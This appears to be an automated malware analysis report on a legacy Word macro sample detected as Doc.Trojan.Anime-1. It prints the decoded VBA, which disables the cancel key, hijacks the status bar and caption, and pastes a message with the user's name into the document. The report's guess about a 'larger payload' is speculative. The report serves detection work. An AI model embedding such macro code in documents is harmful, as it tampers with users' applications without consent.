Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 332e5597f9cb3bd5…

MALICIOUS

Office (OLE)

38.5 KB Created: 1998-07-03 22:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fd535a3fb4660b790b3a393a497c7ba2 SHA-1: b004adf35d66d9ec69159b0481b5e7838eb379ff SHA-256: 332e5597f9cb3bd5923a86018ce8818678427aca759585c4882164473d185f2c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an OLE document containing VBA macros. The macro 'anime' constructs a string 'VicodinES' by concatenating characters and displays it in the application status bar and caption. This obfuscated string is likely a key indicator or part of a larger malicious payload. The ClamAV detection 'Doc.Trojan.Anime-1' further supports the malicious nature of the file.

Heuristics 2

  • ClamAV: Doc.Trojan.Anime-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Anime-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1499 bytes
SHA-256: b1fbb59a13a9731e4e2119a46fd785b1b46562ae3a9be3477022c3e16c5b66ca
Detection
ClamAV: Doc.Trojan.Anime-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub anime()
Set cb = New DataObject
oi = Chr(32)
Application.EnableCancelKey = wdCancelDisabled
S = Chr(86) + Chr(105) + Chr(99) + Chr(111) + Chr(100) + Chr(105) + Chr(110) + Chr(69) + Chr(83) + oi + oi
Application.Caption = oi + oi + S + Chr(47) + Chr(84) + Chr(78) + Chr(78) + oi + Chr(47) + Chr(67) + Chr(66) + oi + oi
For an = 1 To 3
For x = 1 To 15
yy = S + yy
Application.StatusBar = yy
Call Delay
Next x
For t = 1 To 12
yy = S + vbTab + yy
Application.StatusBar = yy
Call Delay
Next t
For u = 1 To 10
yy = vbTab + S + vbTab + yy
Application.StatusBar = yy
Call Delay
Next u
Next an
yy = S + oi + Chr(45) + Chr(45) + Chr(45) + Chr(62) + oi + yy
For i = 1 To 115
yy = oi + yy
Application.StatusBar = yy
For o = 1 To 400000
Next o
Next i
Application.StatusBar = Chr(62) + Chr(58) + Chr(45) + Chr(41) + yy
Application.Caption = Application.Application & oi & Chr(76) & Chr(111) & Chr(118) & Chr(101) & Chr(115) & oi & Application.UserName
cb.SetText cr & Application.Application & oi & Chr(76) & Chr(111) & Chr(118) & Chr(101) & Chr(115) & oi & Application.UserName & cr & cr
cb.PutInClipboard
Selection.Paste
End Sub
Function Delay()
For o = 1 To 1000000
Next o
End Function

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